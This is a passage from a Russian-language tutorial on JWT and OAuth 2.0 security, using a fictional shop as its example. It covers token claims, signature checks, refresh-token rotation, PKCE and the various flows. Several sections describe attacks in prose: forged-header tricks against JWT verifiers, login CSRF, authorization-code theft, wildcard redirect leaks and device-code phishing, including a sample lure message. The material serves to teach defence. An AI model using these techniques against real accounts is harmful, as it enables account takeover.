    issИздатель (issuer): кто выпустил токенhttps://id.botinok.ruСовпадает с нашим сервером авторизации буква в букву
    subСубъект (subject): о ком токен. Постоянный внутренний номер, а не emailu-7f3a91По нему ищут «свои» заказы
    audАдресат (audience): для какого API токен выпущенorders-apiСодержит именно нас. Иначе токен от чужого сервиса пройдёт к нам
    expСрок действия (expiration), секунды с 1970 года1790845500Сейчас раньше exp (с небольшим допуском на рассинхрон часов)
    nbfНе раньше (not before)1790845200Сейчас не раньше nbf
    iatКогда выпущен (issued at)1790845200Иногда — «не старше N минут»
    jtiУникальный номер токена (JWT ID)b7e1c0d2-…Для чёрного списка и защиты от повторного предъявления
    scopeКакие права выдала Анна (через пробел)openid orders:readЕсть ли право на эту операцию (иначе 403)
    client_idКакому приложению выданbotinok-mobileДля журнала и ограничений по клиенту
    cnfПривязка к ключу клиента (confirmation){"jkt":"0ZcO…"}Что запрос подписан тем же ключом (глава 13)

    Семь полей — iss, exp, aud, sub, client_id, iat, jti — обязательны для токена доступа в формате JWT по стандарту RFC 9068. Там же требование к заголовку: "typ": "at+jwt". По нему API отличает токен доступа от токена личности (id_token) и не примет одно вместо другого.

    Что нельзя класть в JWT. Токен прочитает любой, у кого он в руках: приложение, браузерное расширение, прокси, журнал сервера. Поэтому никаких паролей, номеров карт, паспортов и лишних персональных данных. Даже email и телефон — только если без них никак. Номер sub вместо email — хорошая привычка.

    Как считается подпись: общий секрет или пара ключей

    HS256 — общий секрет

    HMAC с SHA-256. Один и тот же секрет и подписывает, и проверяет. Значит, каждый, кто умеет проверять, умеет и подделывать. Годится, только когда выпускает и проверяет одна и та же программа.

    Из жизни: одна печать на всех отделах. Любой отдел может не только проверить справку, но и выдать свою.

    RS256 — пара ключей RSA

    Закрытый ключ есть только у сервера авторизации, им подписывают. Открытый ключ публикуют для всех, им проверяют. Проверить может каждый, подделать — никто. Подпись — 256 байт при ключе 2048 бит. RS256 обязан поддерживать каждый, кто следует RFC 9068.

    Из жизни: печать хранится у нотариуса. Образец оттиска висит на стене — сверить может любой.

    ES256 — эллиптические кривые

    Та же идея пары ключей, но на кривой P-256. Подпись короче — 64 байта, токен меньше, подписывать быстрее. Хороший выбор для новых систем, если все библиотеки его понимают.

    JWE — если нужно спрятать содержимое. Кроме подписанного токена (JWS) бывает зашифрованный — JWE (JSON Web Encryption, RFC 7516). Он состоит из пяти частей: заголовок, зашифрованный ключ, вектор инициализации, шифротекст, контрольная метка. Прочитать его может только получатель с ключом. Нужен редко: обычно проще не класть секретное в токен или выдать непрозрачный токен (глава 4).

    глава 4 · проверка как API проверяет токен — и как его обманывают

    API заказов получил запрос с токеном Анны. У него нет доступа к базе пользователей и нет времени звонить серверу авторизации на каждый запрос. Он должен за доли миллисекунды решить: пускать или нет. Вот порядок проверки. Пропуск любого шага — известная дыра.

    // Node.js, библиотека jose: всё, что выше, — в одном вызове
    import { createRemoteJWKSet, jwtVerify } from 'jose';
    
    const JWKS = createRemoteJWKSet(new URL('https://id.botinok.ru/.well-known/jwks.json'));
    
    const { payload } = await jwtVerify(token, JWKS, {
      issuer:     'https://id.botinok.ru',   // iss буква в букву
      audience:   'orders-api',              // aud содержит нас
      algorithms: ['RS256'],                 // белый список: alg из токена не решает
      typ:        'at+jwt',                  // токен доступа, а не id_token
      clockTolerance: 30,                    // допуск часов — секунды, не часы
    });
    if (!payload.scope?.split(' ').includes('orders:read')) → 403 insufficient_scope

    Где API берёт открытый ключ: JWKS и kid

    JWK (JSON Web Key, RFC 7517) — ключ, записанный в JSON. JWKS (JWK Set) — набор таких ключей. Сервер авторизации публикует его по постоянному адресу, например https://id.botinok.ru/.well-known/jwks.json. Точный адрес указан в описании сервера (поле jwks_uri, глава 11).
    kid (key ID) — имя ключа. Сервер кладёт его в заголовок токена, чтобы API знал, каким ключом из набора проверять подпись.
    на проходной висит альбом образцов печатей: «печать А — до сентября, печать Б — с сентября». На справке написано, какой печатью заверено. Охранник открывает нужную страницу альбома.
    GET /.well-known/jwks.json HTTP/1.1
    Host: id.botinok.ru
    
    HTTP/1.1 200 OK
    Cache-Control: max-age=3600
    
    {
      "keys": [
        { "kty": "RSA", "kid": "2026-09-B", "use": "sig", "alg": "RS256",
          "n": "0vx7agoebGcQSuuPiLJXZptN9nndrQmbXEps2aiAFbWhM78LhWx4…", "e": "AQAB" },
        { "kty": "RSA", "kid": "2026-06-A", "use": "sig", "alg": "RS256",
          "n": "xjlCRBqkOQ7jVWN3L1iCmQfVfnXpfk7X1ZjZ6YqvAN4dN1C5M8k…", "e": "AQAB" }
      ]
    }

    API скачивает набор один раз и держит в памяти. Приходит токен с незнакомым kid — API один раз перечитывает набор (не чаще раза в несколько минут, иначе злоумышленник завалит сервер токенами с выдуманными kid).

    Ротация ключей: как сменить печать, никого не разлогинив

    Ключи меняют регулярно (например, раз в квартал) и срочно — если ключ утёк. Пройдите плановую смену по шагам.

    Кривой проверяльщик: пять настоящих атак

    Слева — настройки проверки в API заказов. Справа — атаки, которые встречаются в отчётах об уязвимостях. Сначала выключите защиту и посмотрите, как атака проходит. Потом включите нужную настройку и повторите. Каждая отбитая атака — балл.

    
        
    Главный урок. Все пять атак — не взлом подписи. Криптография цела. Ломается логика проверки: API верит тому, что написал злоумышленник (alg и адрес ключей в заголовке), или не задаёт важный вопрос (кому выдан, до когда). Поэтому настройки проверки — предмет требований и ревью, а не «разработчик сам разберётся».

    Почему JWT трудно отозвать

    Анна потеряла телефон и нажала на сайте «Выйти на всех устройствах». Токен на телефоне подписан и действует ещё 4 минуты. API проверяет его сам, ни у кого не спрашивая, — значит, 4 минуты он будет пропускать. Это цена «без состояния». Что с этим делают:

    Короткий срок жизни

    Токен доступа живёт 5–15 минут. Отозвать нельзя, но вред ограничен. Долгую жизнь даёт refresh-токен, а его отозвать можно — он проверяется на сервере авторизации (глава 7).

    Чёрный список по jti

    API сверяет номер токена со списком отозванных, например в Redis. Работает, но это снова состояние и ещё один поход по сети на каждый запрос.

    «Всё, что выпущено до…»

    Для пользователя хранится отметка «токены, выпущенные раньше 12:07, недействительны». API сравнивает её с iat. Одна запись на пользователя вместо списка всех токенов.

    Спросить сервер (introspection)

    Для самых опасных операций — сменить карту, вывести деньги — API спрашивает сервер авторизации, жив ли токен. Надёжно, но медленнее. Разберём ниже.

    Непрозрачный токен и introspection

    Непрозрачный токен (opaque token, ещё его называют reference token) — просто случайная строка вроде 2YotnFZFEjr1zCsicMWpAA. Внутри ничего не написано. Что она значит, знает только сервер авторизации — у него есть запись в базе.
    снова гардероб: номерок «47». По нему ничего не понять, пока не спросишь гардеробщика. Зато гардеробщик может в любой момент сказать «номерок 47 больше не действует».
    Introspection (интроспекция токена, RFC 7662) — API отправляет токен серверу авторизации и спрашивает: «Что это за токен? Он ещё действует?». Ответ — JSON с полем active и данными о владельце и правах.
    Проще говоря. JWT — «доверяй подписи»: быстро, без похода к серверу, но отзыв запаздывает на срок жизни. Непрозрачный токен — «спроси у выдавшего»: отзыв мгновенный, но сервер авторизации становится частью каждого запроса. Часто делают так: снаружи клиенту выдают непрозрачный токен (из него ничего не вытащить), а шлюз один раз меняет его на короткий JWT для внутренних сервисов. Этот приём называют «фантомный токен» (phantom token).
    Отзыв по стандарту. Приложение само может отозвать токен при выходе: POST /revoke с параметрами token=…&token_type_hint=refresh_token (RFC 7009). Сервер отвечает 200, даже если токен уже недействителен, — чтобы по ответу нельзя было проверять чужие токены. Отзыв refresh-токена обычно гасит и выданные по нему токены доступа, но только там, где API спрашивает сервер. Для JWT действует правило срока жизни.

    глава 5 · OAuth ключ для парковщика: зачем нужен OAuth 2.0

    OAuth 2.0 (RFC 6749, 2012 год) — стандартная схема делегирования доступа. Владелец данных разрешает приложению действовать от своего имени в узких рамках. Приложение получает токен доступа с ограниченными правами и сроком — а пароль владельца не видит никогда.
    ключ для парковщика (valet key) у дорогих машин. Он заводит мотор и позволяет отъехать на стоянку, но не открывает багажник и бардачок. Хозяин отдаёт такой ключ, а свою связку оставляет у себя. Не понравился парковщик — ключ забрали, связка цела.
    Самое важное, что стоит запомнить. OAuth отвечает на вопрос «что приложению можно», а не «кто пользователь». Сам по себе OAuth — не протокол входа. Для входа поверх него построен OpenID Connect (глава 11). Путают их постоянно — и отсюда растут дыры.

    Четыре роли

    👩 Владелец ресурса

    Resource owner. Анна. Её заказы и адрес — это «ресурс». Только она решает, кому дать к ним доступ.

    Хозяйка машины.

    📱 Клиент

    Client. Приложение, которое хочет доступ: мобильное приложение «Ботинка», партнёр «Мигом». «Клиент» здесь — программа, а не человек.

    Парковщик.

    🔐 Сервер авторизации

    Authorization server. id.botinok.ru — например, Keycloak. Проверяет Анну, спрашивает её согласие, выдаёт токены.

    Охрана стоянки, которая по звонку хозяйки выдаёт ключ-валет.

    📦 Сервер ресурсов

    Resource server. API заказов api.botinok.ru. Хранит данные и пускает к ним по токену.

    Сама машина: заводится только нужным ключом.

    Токен доступа (access token) — пропуск, который клиент прикладывает к запросам в API. Короткий срок, узкие права. Бывает JWT или непрозрачным.
    Refresh-токен (refresh token, токен обновления) — долгоживущий талон, по которому клиент получает новые токены доступа без повторного входа. Предъявляется только серверу авторизации, в API не ходит никогда.
    Поток (flow; в стандарте — grant type, тип разрешения) — сценарий, по которому клиент получает токен. Для человека с браузером один, для сервиса без человека — другой, для телевизора — третий.
    Две точки входа сервера. Точка авторизации (authorization endpoint, /authorize) — сюда приходит браузер Анны: вход и согласие. Точка выдачи токенов (token endpoint, /token) — сюда клиент обращается напрямую, мимо браузера, за токенами.

    Публичный и конфиденциальный клиент

    Конфиденциальный клиент (confidential client) — программа, которая может хранить секрет: она работает на сервере, куда у пользователя нет доступа. Серверная часть сайта, BFF, сервис склада. Публичный клиент (public client) — программа, которая секрет сохранить не может: весь её код у пользователя в руках. Мобильное приложение (его можно разобрать), SPA в браузере (код виден в инструментах разработчика), приложение для телевизора.
    кассир в банке держит ключ от сейфа в кармане — это конфиденциальный клиент. Листовка с «секретным кодом», которую раздают у метро, — публичный: код видят все, у кого есть листовка.
    КонфиденциальныйПубличный
    ПримерыСерверная часть сайта, BFF, сервис склада, сервер партнёра «Мигом»Мобильное приложение, SPA без бэкенда, «Ботинок ТВ», утилита командной строки
    Как доказывает, что он — это онСекрет клиента (client_secret), подписанный своим ключом JWT (private_key_jwt, RFC 7523) или сертификат при взаимном TLS (RFC 8705)Никак. client_id публичен, его знает любой. Защита — PKCE и точный redirect_uri
    PKCEРекомендуется (RFC 9700)Обязателен (RFC 9700)
    Refresh-токенМожно, клиент подтверждает себя при обменеТолько с ротацией или с привязкой к ключу клиента (RFC 9700)
    Регистрация клиента. Прежде чем что-то просить, клиент регистрируется на сервере авторизации. Администратор заводит client_id, список разрешённых адресов возврата, разрешённые потоки и scope, тип клиента, способ подтверждения. В Keycloak это карточка клиента в админке. Для аналитика это готовая таблица требований (глава 15).

    Scope и согласие

    Scope (область доступа) — название права, которое клиент просит, через пробел: orders:read address:read. Набор scope придумывает владелец API. Сервер авторизации записывает в токен то, что Анна разрешила и что клиенту вообще можно.
    Согласие (consent) — экран, на котором Анна видит, кто и что просит, и нажимает «Разрешить» или «Отказать». Своим приложениям компании этот экран часто не показывают, внешним партнёрам — показывают обязательно.

    Что просит «Мигом»: scope=address:read orders.status:read. Чего не просит: orders:write, payment:read. Даже если бы попросил — сервер авторизации не выдал бы: клиенту «Мигом» при регистрации разрешены только эти два scope.

    Экран согласия показывает сервер авторизации на своём адресе. Не «Мигом» и не «Ботинок». Поэтому «Мигом» не может нарисовать фальшивый экран с другим текстом.

    Слово «Отозвать» в подписи — не украшение. Анна в любой момент может зайти в профиль и отключить «Мигом». Сервер отзовёт его refresh-токен, и через несколько минут доступ кончится.

    redirect_uri: куда вернуть Анну — и почему только точное совпадение

    После входа сервер авторизации отправляет браузер Анны обратно в приложение, по адресу возврата (redirect_uri), и дописывает к нему одноразовый код. Кто получит этот адрес — тот получит код. Поэтому сервер сравнивает адрес из запроса со списком зарегистрированных буква в букву. Этого требует RFC 9700; единственное исключение — номер порта на localhost у приложений на компьютере.

    курьер доставляет документы только по адресу, записанному в договоре. «Ленина, 5, кв. 12» и «Ленина, 5, кв. 12, спросить Петю» — для него разные адреса. Иначе любой, кто позвонит и назовёт похожий адрес, получит ваши документы.

    У клиента «Ботинок» (сайт) зарегистрирован один адрес: https://botinok.ru/callback. У настольной утилиты «Ботинок CLI» — http://127.0.0.1/callback. Решите, что сделает сервер.

    Решено 0 из 0.

    Почему «шаблон» — это дыра. Настройка «разрешить https://*.botinok.ru/*» выглядит удобной. Но стоит найти один забытый поддомен (например, старый промосайт на чужом хостинге) или страницу с открытым перенаправлением — и код Анны уедет злоумышленнику. Так случались реальные утечки у крупных компаний.

    state: защита от подделки входа

    state — случайная строка. Приложение придумывает её перед входом, запоминает у себя в сессии браузера и отправляет на сервер авторизации. Сервер возвращает её обратно вместе с кодом. Приложение сверяет: «это ответ на МОЙ запрос?». Не совпало — отказ.
    в гардеробе вы получаете не только номерок, но и корешок с тем же номером. Чужой номерок вам не подсунешь — он не совпадёт с вашим корешком.

    От чего защищает. Подделка межсайтового запроса при входе (login CSRF): злоумышленник подсовывает Анне свой код, и Анна незаметно оказывается в его аккаунте. Пройдите атаку по шагам.

    Три способа защиты. RFC 9700 требует от клиента защищаться от CSRF и разрешает три способа. Первый — PKCE (подсунутый код не обменяется: у приложения Анны другой code_verifier). Второй — nonce в OpenID Connect. Третий — одноразовый state. На практике используют PKCE плюс state: второй к тому же помогает приложению вспомнить, куда вернуть Анну после входа.

    глава 6 · главный поток Authorization Code + PKCE: вход по одному HTTP-запросу

    Анна открывает мобильное приложение «Ботинок» и жмёт «Войти». За две секунды происходит больше десятка запросов между четырьмя участниками. Это основной поток OAuth для всех, где есть человек: мобильных приложений, сайтов, SPA. Разберём каждый запрос.

    Authorization Code (поток с кодом авторизации) — сервер после входа Анны выдаёт не токен, а одноразовый короткоживущий код. Код летит через браузер. Токены приложение получает отдельным прямым запросом, обменяв на них код.
    в химчистке вам выдают квитанцию, а не пальто. Квитанция одноразовая и ничего не стоит без окошка выдачи. Пальто получают в окошке, предъявив квитанцию.
    PKCE (Proof Key for Code Exchange, читается «пикси», RFC 7636) — дополнение к потоку с кодом. Перед входом приложение придумывает секрет code_verifier и отправляет на сервер только его отпечаток — code_challenge (хеш SHA-256). При обмене кода на токены приложение предъявляет сам секрет. Сервер хеширует его и сравнивает с отпечатком. Украденный код без секрета бесполезен.
    вы сдаёте чемодан в камеру хранения и называете кодовое слово. Приёмщик записывает не само слово, а его отпечаток. Жетон могут украсть, но без кодового слова чемодан не выдадут. А по записанному отпечатку слово не восстановить.

    Проигрыватель: вход Анны в мобильное приложение

    Схема: браузер на телефоне Анны, приложение «Ботинок», сервер авторизации id.botinok.ru, API заказов. Под каждым участником — что он сейчас знает. На каждом шаге — настоящий HTTP-запрос: подсвечены параметры, ниже — что каждый из них значит.

    Переключатели меняют сценарий. «😈 Атакующий перехватил code» — на телефоне Анны стоит вредное приложение. Оно зарегистрировало ту же схему адреса ru.botinok.app:, и телефон отдал ссылку с кодом ему. Пройдите три сценария: обычный вход, кражу без PKCE и кражу с PKCE.

    
          
    Как читать схему. Плашка над участниками — то, что сейчас летит, и в какую сторону. Серая плашка без полёта — участник что-то проверяет у себя. Красным подсвечены действия злоумышленника и отказы, зелёным — успешные проверки. Секрет code_verifier настоящий: он создаётся случайно при каждом «Новом входе», а code_challenge считается по-честному — SHA-256 и base64url прямо в вашем браузере.

    Посчитайте PKCE сами

    Нажмите «Новый секрет». Посмотрите, как из случайной строки получается отпечаток. Вторая кнопка подставляет пример из самого RFC 7636, приложение B: там отпечаток должен получиться E9Melhoa2OwvFrEMTJguCHaoeK1t8URWbuGJSstw-cM.

    
    
        

    Почему всё устроено именно так

    Зачем код, а не сразу токен

    Всё, что летит через браузер, может осесть в истории, журналах, у расширений. Код одноразовый, живёт меньше минуты (RFC 6749 разрешает максимум 10 минут) и без секрета бесполезен. А токены приходят прямым запросом приложения к серверу — мимо адресной строки.

    Зачем вход на чужой странице

    Пароль Анна вводит на странице id.botinok.ru, в системном браузере, а не в окне приложения. Приложение пароль не видит. Второй фактор, passkey, защита от перебора — всё в одном месте. RFC 8252 прямо запрещает мобильным приложениям показывать вход во встроенном окне (WebView): такое окно приложение может подсмотреть.

    Зачем PKCE, если есть state

    state защищает приложение от чужого кода. PKCE защищает сервер от чужого обменщика: код обменяет только тот, кто начал вход. Для публичных клиентов PKCE обязателен (RFC 9700), для конфиденциальных — рекомендован: он закрывает ещё и подмену кода (code injection).

    Почему только S256

    Есть метод plain, где отпечаток равен самому секрету. Тогда перехвативший первый запрос узнаёт секрет. plain допустим, только если клиент технически не умеет SHA-256. Сегодня умеют все.

    Как ещё крадут код. Мы показали вредное приложение с той же схемой адреса — это главный случай, ради которого придумали PKCE. Ещё код оседает в журналах прокси и серверов, в истории браузера, уходит к расширениям. Для мобильных приложений RFC 8252 советует адреса возврата вида https://botinok.ru/app/callback, закреплённые за приложением (App Links в Android, Universal Links в iOS). Такой адрес чужое приложение перехватить не может.

    глава 7 · обновление refresh-токен и ротация: вор с копией

    Токен доступа Анны живёт 5 минут. Если бы после этого приложение снова отправляло её вводить пароль, Анна удалила бы приложение к вечеру. Поэтому вместе с токеном доступа сервер выдал refresh-токен. Приложение незаметно обменивает его на новые токены.

    абонемент в бассейн и браслет на один сеанс. С браслетом (токен доступа) проходят в зал, он действует час. Абонемент (refresh-токен) в воду не берут: его показывают на ресепшене и получают новый браслет. Потеряли браслет — не страшно, через час он погаснет. Потеряли абонемент — надо звонить и блокировать.
    POST /token HTTP/1.1
    Host: id.botinok.ru
    Content-Type: application/x-www-form-urlencoded
    
    grant_type=refresh_token&refresh_token=8xLOxBtZp8&client_id=botinok-mobile
    
    HTTP/1.1 200 OK
    Cache-Control: no-store
    
    { "access_token": "eyJhbGciOi…",       ← новый, ещё 5 минут
      "token_type": "Bearer", "expires_in": 300,
      "refresh_token": "Qm9y1sLx7T" }       ← НОВЫЙ refresh-токен: старый 8xLOxBtZp8 погашен

    Скользящий срок

    Refresh-токен действует, пока им пользуются. Например, «30 дней с последнего использования». Анна открывает приложение раз в неделю — и не выходит никогда.

    Абсолютный срок

    Предел, после которого вход обязателен, как бы часто ни пользовались. Например, 90 дней. Ограничивает ущерб, если токен украли давно и тихо пользуются.

    offline_access

    В OpenID Connect scope offline_access просит refresh-токен, который работает, даже когда Анна не в приложении. Например, чтобы присылать уведомления о доставке.

    Ротация refresh-токенов (refresh token rotation) — каждый обмен выдаёт новый refresh-токен, а старый гасится. Все токены одной цепочки входа сервер помнит как одно семейство. Если погашенный токен предъявят ещё раз, значит, кто-то держит копию. Сервер не знает, кто из двоих вор, поэтому отзывает всё семейство. Приём описан в RFC 9700; для публичных клиентов нужна ротация или привязка токена к ключу.
    одноразовые талоны в столовой по цепочке: сдал талон №1 — получил обед и талон №2. Если кто-то приносит уже сданный талон №1, значит, талоны копируют. Кассир аннулирует всю цепочку, и владелец идёт за новой в отдел кадров — то есть заново входит.

    Живая модель: вор с копией refresh-токена

    Вор скопировал refresh-токен Анны — например, из незашифрованной резервной копии телефона или из журнала, куда его по ошибке записали. Жмите кнопки в любом порядке. Сравните три настройки: без ротации, с ротацией без обнаружения и с ротацией и обнаружением. Или запустите готовый сценарий.

    Что вы увидите. Без ротации вор обновляется сколько угодно, параллельно с Анной, и никто ничего не замечает. С ротацией, но без обнаружения всё зависит от того, кто первым. Если вор, то Анну «выкинет» из приложения (её токен уже погашен), а вор продолжит жить. Это хуже, чем без ротации. С обнаружением второй, кто придёт со старым токеном, поднимет тревогу, и сервер отзовёт всё семейство — вместе с новым токеном вора.
    Что ротация не лечит. Отзыв семейства гасит refresh-токены. Уже выданный вору токен доступа в формате JWT проживёт свои минуты. И если вор украдёт токен и сразу начнёт пользоваться, пока приложение Анны закрыто, тревога поднимется только тогда, когда Анна откроет приложение. Поэтому ротацию сочетают с абсолютным сроком жизни и, где можно, с привязкой токена к ключу устройства (DPoP, глава 13).

    глава 8 · калькулятор сколько жить токену: ущерб против нагрузки

    Олегу надо записать в требования срок жизни токена доступа. Разработчики просят сутки: «меньше запросов, меньше хлопот». Вера просит минуту: «украдут — пусть сразу протухнет». Правы оба, и это обмен одного на другое. Подвигайте ползунки.

    5 мин
    50 000
    6
    Обновлений токена в секунду: — Проверок на сервере в секунду: — Всего к серверу авторизации: —
    Что заложено в модель. Каждый активный пользователь обновляет токен один раз за срок его жизни: обновлений/с = пользователей ÷ срок в секундах. «Окно для вора» — сколько украденный токен доступа ещё работает после того, как кражу заметили и токен отозвали. Для JWT это весь остаток срока, для проверки на сервере — ноль, для кеша — до 60 секунд. Пороги цвета на шкале нагрузки условные: сколько выдержит ваш сервер авторизации, покажет нагрузочное тестирование.

    Типичные сроки

    ЧтоСколько обычноПочему
    Код авторизациидо минуты; по RFC 6749 — не больше 10 минутНужен секунды: от редиректа до обмена
    Токен доступа5–15 минут (в Keycloak по умолчанию 5)Нельзя отозвать — значит, должен быстро истекать
    id_tokenминутыИспользуется один раз, при входе
    Refresh-токенчасы — недели скользящим сроком, плюс абсолютный пределОтзывается на сервере, защищён ротацией
    Сессия SSO на сервере авторизациив Keycloak по умолчанию 30 минут бездействия и не больше 10 часовСколько можно входить в новые приложения без пароля
    Токен сервиса (client credentials)5–60 минутСервис сам получает новый, вход человека не нужен

    глава 9 · потоки другие потоки: без человека, без клавиатуры, по цепочке

    Authorization Code + PKCE покрывает всё, где есть человек с браузером. Но в истории «Ботинка» есть склад, который работает ночью сам. Есть телевизор без клавиатуры. И есть сервис заказов, которому надо передать сервису оплаты «это делает Анна». Для каждого случая — свой поток.

    Client Credentials: сервис от своего имени

    Client Credentials (поток с учётными данными клиента) — сервис получает токен для себя, без пользователя. Предъявляет свой секрет или подписанный своим ключом JWT и получает токен доступа. Refresh-токен не выдаётся: сервис в любой момент получит новый токен тем же способом.
    служебный пропуск сотрудника курьерской службы. Он ходит на склад от имени своей компании, а не от имени какого-то покупателя.
    POST /token HTTP/1.1
    Host: id.botinok.ru
    Authorization: Basic d2FyZWhvdXNlLXN5bmM6czNjcjN0     ← base64("warehouse-sync:s3cr3t")
    Content-Type: application/x-www-form-urlencoded
    
    grant_type=client_credentials&scope=orders:read
    
    HTTP/1.1 200 OK
    { "access_token": "eyJhbGciOi…", "token_type": "Bearer", "expires_in": 600 }
                                       ← refresh_token нет: он не нужен
    Частая ошибка. Выдать сервису токен «на всё» (scope=*) и один секрет на пять сервисов. Тогда утечка у одного даёт доступ ко всему, и по журналу не понять, кто что делал. Правило: один клиент на один сервис, только нужные scope. Секрет — в хранилище секретов, а не в репозитории. Ещё лучше — ключ вместо секрета (private_key_jwt) или взаимный TLS: тогда секрет даже не передаётся по сети.

    Device Authorization Grant: вход на телевизоре

    Device Authorization Grant (поток для устройств, RFC 8628) — для устройств без удобного ввода: телевизор, приставка, принтер, утилита командной строки. Устройство показывает короткий код и адрес. Человек открывает адрес на телефоне, входит, вводит код и соглашается. Устройство тем временем раз в несколько секунд спрашивает сервер: «ну что, разрешили?».
    электронная очередь в МФЦ. Терминал печатает талон «А-042». Вы идёте к окну и называете номер. Табло тем временем обновляется и само показывает, когда вас вызвали.
    POST /device_authorization HTTP/1.1
    Host: id.botinok.ru
    
    client_id=botinok-tv&scope=openid orders:read
    
    HTTP/1.1 200 OK
    {
      "device_code": "GmRhmhcxhwAzkoEqiMEg_DnyEysNkuNhszIySk9eS",   ← знает только телевизор
      "user_code": "WDJB-MJHT",                                  ← показать на экране
      "verification_uri": "https://id.botinok.ru/device",
      "verification_uri_complete": "https://id.botinok.ru/device?user_code=WDJB-MJHT",  ← для QR-кода
      "expires_in": 1800,
      "interval": 5                                                   ← спрашивать не чаще раза в 5 с
    }
    
    ── телевизор каждые 5 секунд ──
    POST /token
    grant_type=urn:ietf:params:oauth:grant-type:device_code&device_code=GmRhmhcx…&client_id=botinok-tv
    
    HTTP/1.1 400 Bad Request
    { "error": "authorization_pending" }      ← Анна ещё не подтвердила; спрашивать дальше
    { "error": "slow_down" }                  ← слишком часто: увеличить паузу на 5 секунд
    { "error": "access_denied" }              ← Анна нажала «Отказать»
    { "error": "expired_token" }              ← код истёк, начинать заново
    Атака на этот поток — фишинг кодом устройства. Злоумышленник сам запускает вход «для телевизора», получает код и присылает жертве письмо: «Подтвердите вход в корпоративный портал: введите код WDJB-MJHT на официальном сайте». Сайт действительно официальный, жертва вводит код — и токены получает злоумышленник. Такие кампании против корпоративных облаков фиксировали в 2024–2025 годах. Защита: на экране подтверждения крупно показывать, какое устройство и приложение просит доступ; включать этот поток только тем клиентам, которым он нужен.

    Token Exchange: личность по цепочке сервисов

    Token Exchange (обмен токенов, RFC 8693) — сервис предъявляет серверу авторизации токен, который получил сам, и просит новый: для другого адресата, с меньшими правами, коротким сроком. Так «Анна» передаётся по цепочке, а каждый сервис получает токен, выписанный именно на него.
    вы даёте нотариусу доверенность на юриста. Юристу нужно, чтобы в архиве выдали справку. Он не отдаёт архиву вашу доверенность целиком, а получает у нотариуса отдельную бумагу: «юрист Петров от имени Анны вправе получить справку №5, до пятницы».

    Зачем это нужно. Сервис заказов получил токен Анны с aud=orders-api. Ему нужно списать деньги через сервис оплаты. Отдать этот же токен оплате нельзя: оплата правильно проверяет aud и откажет. Выпустить токен «на все API» — значит, любой сервис сможет ходить с токеном Анны куда угодно. Обмен решает обе проблемы.

    POST /token HTTP/1.1
    Host: id.botinok.ru
    Authorization: Basic b3JkZXJzLXNlcnZpY2U6…        ← сервис заказов подтверждает себя
    
    grant_type=urn:ietf:params:oauth:grant-type:token-exchange
    &subject_token=eyJhbGciOi…(токен Анны)
    &subject_token_type=urn:ietf:params:oauth:token-type:access_token
    &audience=payments-api
    &scope=payments:create
    
    HTTP/1.1 200 OK
    { "access_token": "eyJhbGciOi…",
      "issued_token_type": "urn:ietf:params:oauth:token-type:access_token",
      "token_type": "Bearer", "expires_in": 60 }
    
    ── внутри нового токена ──
    { "sub": "u-7f3a91",                      ← по-прежнему Анна
      "aud": "payments-api",                  ← только для оплаты
      "scope": "payments:create",             ← только списание
      "act": { "sub": "orders-service" } }    ← кто действует от её имени
    Делегирование или подмена личности. RFC 8693 различает два режима. При подмене (impersonation) новый токен выглядит просто как токен Анны. При делегировании (delegation) в нём видно и Анну, и того, кто действует: поле act. Для журнала аудита второе намного полезнее: «оплату от имени Анны инициировал сервис заказов». В Keycloak стандартный обмен токенов поддерживается с версии 26.2.

    PAR: не светить параметры в адресной строке

    PAR (Pushed Authorization Requests, RFC 9126) — клиент сначала отправляет все параметры входа прямым запросом на сервер авторизации и получает короткую ссылку-номер. Браузер Анны идёт на /authorize только с этим номером.
    вместо того чтобы продиктовать заказ такси вслух в людном месте, вы оформляете его в приложении и называете водителю только номер заказа.
    POST /par HTTP/1.1                        ← прямой запрос, клиент подтверждает себя
    Host: id.botinok.ru
    Authorization: Basic …
    
    response_type=code&client_id=botinok-web&redirect_uri=https://botinok.ru/callback
    &scope=openid orders:read&state=af0ifjsldkj&code_challenge=E9Mel…&code_challenge_method=S256
    
    HTTP/1.1 201 Created
    { "request_uri": "urn:ietf:params:oauth:request_uri:6esc_11ACC5bwc014ltc14eY22c", "expires_in": 60 }
    
    ── браузер Анны ──
    GET /authorize?client_id=botinok-web&request_uri=urn:ietf:params:oauth:request_uri:6esc_11ACC5bwc014ltc14eY22c

    Что даёт PAR. Параметры нельзя подменить в браузере. Длина адреса не ограничивает запрос. Сервер проверяет клиента ещё до показа страницы входа. PAR обязателен в профиле FAPI 2.0 для банков и финансовых API. Для обычного магазина это полезная, но не обязательная мера.

    Два устаревших потока — и почему их запретили

    Implicit (response_type=token)

    Токен доступа приходил сразу в адресе после редиректа: …/callback#access_token=…. Придуман в 2012 году для браузерных приложений, когда запросы к чужим доменам (CORS) ещё толком не работали. Беды: токен оседает в истории браузера и у расширений, его можно подсунуть чужому приложению, к нему нельзя привязать ключ. RFC 9700: клиентам не следует его использовать. В OAuth 2.1 его нет вовсе. Замена — Authorization Code + PKCE.

    Resource Owner Password (grant_type=password)

    Приложение собирало логин и пароль Анны в своей форме и отправляло их на /token. Это тот самый антипаттерн «отдай пароль», только стандартизированный. Пароль видит приложение, не работает второй фактор и passkey, пользователи привыкают вводить пароль куда попало. RFC 9700: не должен использоваться (MUST NOT). В OAuth 2.1 его нет.

    Что такое OAuth 2.1. Это не новый протокол, а сборка OAuth 2.0 со всеми поправками за десять лет. PKCE обязателен для потока с кодом, Implicit и Password убраны, адрес возврата сравнивается точно, токен нельзя передавать в адресе запроса. На осень 2026 года OAuth 2.1 остаётся черновиком IETF (draft-ietf-oauth-v2-1), а не RFC. Но все его требования уже действуют через RFC 9700 — «лучшие практики безопасности OAuth 2.0», опубликованный в январе 2025 года. Серверы вроде Keycloak, Okta, Microsoft Entra ID им следуют.

    глава 10 · тренажёр какой поток выбрать

    Олег составляет матрицу: какой клиент каким потоком получает токены. Правило простое: есть человек — Authorization Code + PKCE (для устройства без клавиатуры — Device). Нет человека — Client Credentials. Нужно передать человека дальше по цепочке — Token Exchange. Разложите ситуации «Ботинка» по потокам.

    Решено 0 из 0.

    Матрица клиентов «Ботинка»

    КлиентТипПотокГде живут токеныRefresh
    Сайт «Магазин» (серверный рендеринг)конфиденциальныйCode + PKCE, секрет клиентана сервере; браузеру — cookie сессиида
    SPA «Личный кабинет»конфиденциальный через BFFCode + PKCE силами BFFв BFF; браузеру — HttpOnly-cookieда, в BFF
    Мобильное приложениепубличныйCode + PKCE, системный браузерв защищённом хранилище ОС (Keychain, Keystore)да, с ротацией
    «Ботинок ТВ»публичныйDevice Authorizationв хранилище устройствада, с ротацией
